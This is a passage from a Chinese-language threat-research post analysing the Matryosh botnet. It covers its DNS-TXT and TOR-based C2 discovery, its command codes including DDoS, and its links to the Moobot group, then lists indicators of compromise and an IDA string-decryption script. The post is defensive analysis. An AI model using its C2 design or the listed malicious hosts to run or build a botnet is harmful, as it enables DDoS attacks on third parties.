er.hiddenservice.xyz |\n   | -------------------- | -------------------- |\n   | fg.hiddenservice.xyz | kk.hiddenservice.xyz |\n   | oc.hiddenservice.xyz | jy.hiddenservice.xyz |\n   | fe.hiddenservice.xyz | xf.hiddenservice.xyz |\n   | ai.hiddenservice.xyz | bi.hiddenservice.xyz |\n\n   下图实际的网络流量，验证了我们的分析。\n\n   ![taowa_step2](__GHOST_URL__/content/images/2021/01/taowa_step2.jpg)\n\n   \n\n3. 向第2步得到的```远程主机B```请求的DNS TXT记录，得到TOR代理的地址，最多10个。\n\n   ![taowa_step3](__GHOST_URL__/content/images/2021/01/taowa_step3.jpg)\n\n   ```\n   oc.hiddenservice.xyz.\t1799\tIN\tTXT\t\"198.245.53.58:9095\"\n   fe.hiddenservice.xyz.\t1799\tIN\tTXT\t\"198.27.82.186:9050\"\n   ```\n\n   \n\n4. 解密得到```远程主机C（onion.hiddenservice.xyz）```，向其请求DNS TXT记录，得到TOR C2地址。\n\n   ![taowa_step4](__GHOST_URL__/content/images/2021/01/taowa_step4.jpg)\n\n   ```\n   onion.hiddenservice.xyz. 1799\tIN\tTXT\t\"4qhemgahbjg4j6pt.onion\"\n   ```\n\n至此C2通信所需要的基础信息都已获得，Bot开始C2通信。\n\n### C2通信\n\n和C2通信，Bot首先通过以下代码片段，随机选择一个TOR代理并建立连接，\n\n![taowa.proxy](__GHOST_URL__/content/images/2021/01/taowa.proxy.jpg)\n\n随后向TOR代理发送想要建立通信的TOR C2，PORT信息，其中端口为硬编码的31337。\n\n![taowa_c2](__GHOST_URL__/content/images/2021/01/taowa_c2.jpg)\n\n如果TOR代理返回```05 00 00 01 00 00 00 00 00 00```时，说明C2连接已经成功，可以开始后续通信了。下图实际的网络流量可以很清楚的反映上述过程。\n\n![taowa_pcap](__GHOST_URL__/content/images/2021/01/taowa_pcap.jpg)\n\n发送完上线包后Bot开始等待C2下发指令。指令包的第一个字节指定了指令的类型。\n\n- 指令码：```0x84```表示心跳\n\n  ![taowa_beat](__GHOST_URL__/content/images/2021/01/taowa_beat.jpg)\n\n- 指令码：```0x55```表示上传Bot的分组信息\n\n  ![taowa_reg](__GHOST_URL__/content/images/2021/01/taowa_reg.jpg)\n\n- 指令码：```非0x55```，```非0x84```，DDoS攻击\n\n  ![taowa_atk](__GHOST_URL__/content/images/2021/01/taowa_atk.jpg)\n\n## 和Moobot团伙的关系\n\nMoobot团伙是当前比较活跃黑产团伙，一直在加密算法，网络通信方面进行创新。我们曾在2020年4月27日曝光过该团伙新开发的一个僵尸网络[LeetHozer](__GHOST_URL__/the-leethozer-botnet/)，对比Matryosh，俩者的相似之处体现在以下3方面：\n1. 使用TOR C2这种模式\n\n2. C2端口（31337）&攻击方法名一样\n\n3. C2指令格式高度相似\n\n基于这些考量，我们推测Matryosh是该团伙的新作品。\n## 结论\n\nMatryosh的加密设计有一定的新意，但依然落入了Mirai单字节XOR的窠臼，这也是它很容易被杀软标记为Mirai的原因；网络通信层面的创新说明了其作者想实现一个从云端下发配置的机制以保护C2，```C2配置云端化```在一定程度上对抗了静态或简单模拟器的IOC自动化抽取。但将所有远程主机放在同一个SLD下的行为略显可笑，不过不可否认整体的网络设计非常灵活，若搭配上DOH/DOT机制，再将云端主机的角色/内容做合理地分配&加密将会给安全研究人员带来更多的挑战。\n\n## IOC\n\nSample MD5\n\n```\nELF\n6d8a8772360034d811afd74721dbb261\n9e0734f658908139e99273f91871bdf6\nc96e333af964649bbc0060f436c64758\ne763fab020b7ad3e46a7d1d18cb85f66\n\nSCRIPT\n594f40a39e4f8f5324b3e198210ac7db\n1151cd05ee4d8e8c3266b888a9aea0f8\n93530c1b942293c0d5d6936820c6f6df\nb9d166b8e9972204ac0bbffda3f8eec6\n```\n\nURL\n\n```\nkk.hiddenservice.xyz\t\ner.hiddenservice.xyz\t\njy.hiddenservice.xyz\t\nfe.hiddenservice.xyz\t\nxf.hiddenservice.xyz\t\noc.hiddenservice.xyz\t\njb.hiddenservice.xyz\t\nai.hiddenservice.xyz\t\nbi.hiddenservice.xyz\t\nfg.hiddenservice.xyz\n\nhosts.hiddenservice.xyz\t\nonion.hiddenservice.xyz\t\n```\n\nC2\n\n```\n4qhemgahbjg4j6pt.onion：31337\n```\n\nProxy Ip\n\n```\n46.105.34.51:999\n139.99.239.154:9095\n139.99.134.95:9095\n198.27.82.186:9050\n188.165.233.121:9151\n198.245.53.58:9095\n51.83.186.134:9095\n139.99.45.195:9050\n51.195.91.193:9095\n147.135.208.13:9095\n```\n\nDownloader\n```\ni586 mips mipsel armv5l armv7l\nhxxp://199.19.226.25/nXejnFjen/{CPU ARCH}\n\n```\n##<a id=\"decrypt_str\">附录（IDA解密脚本）</a>\n```\nimport idc\nimport idaapi\nimport idautils\n\n\n# c96e333af964649bbc0060f436c64758\ndef find_function_arg(addr):\n    round = 0\n    while round < 2:\n        addr = idc.PrevHead(addr)\n        if GetMnem(addr) == \"mov\" and \"offset\" in GetOpnd(addr, 1):\n            return GetOperandValue(addr, 1)\n        if GetMnem(addr) == \"push\" and \"offset\" in GetOpnd(addr, 0):\n            return GetOperandValue(addr, 0)\n        round += 1\n\n    return 0\n\n\ndef get_string(addr):\n    out = []\n    while True:\n        if Byte(addr) != 0:\n            out.append(Byte(addr))\n        else:\n            break\n        addr += 1\n    return out\n\n\ndef descrypt(enc_lst):\n    msg_length = enc_lst[0]\n    xor_key1 = enc_lst[1]\n    group = enc_lst[2]\n\n    msg_lst = enc_lst[3:]\n    des_msg = []\n    for i in range(0, group):\n        xor_key2 = msg_lst[0]\n        group_len = msg_lst[1]\n        key = xor_key1 ^ xor_key2\n        for j in range(2, group_len + 2):\n            des_msg.append(chr(msg_lst[j] ^ key))\n        if len(des_msg) > msg_length:\n            des_msg = des_msg[0:msg_length]\n            break\n        msg_lst = msg_lst[group_len + 2:]\n    print(\"\".join(des_msg))\n\n\ndescrypt_func_ea = 0x080493E0\n\nrefsto_lst = []\nfor ref in CodeRefsTo(descrypt_func_ea, 1):\n    refsto_lst.append(ref)\n\nens_str_addr = []\nfor ea in refsto_lst:\n    addr = find_function_arg(ea)\n    if addr != 0:\n        ens_str_addr.append(addr)\n        # print(hex(addr))\n    else:\n        print(\"Missed arg at {}\".format(ea))\n\nfor ea in ens_str_addr:\n    ret = get_string(ea)\n    descrypt(ret)\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}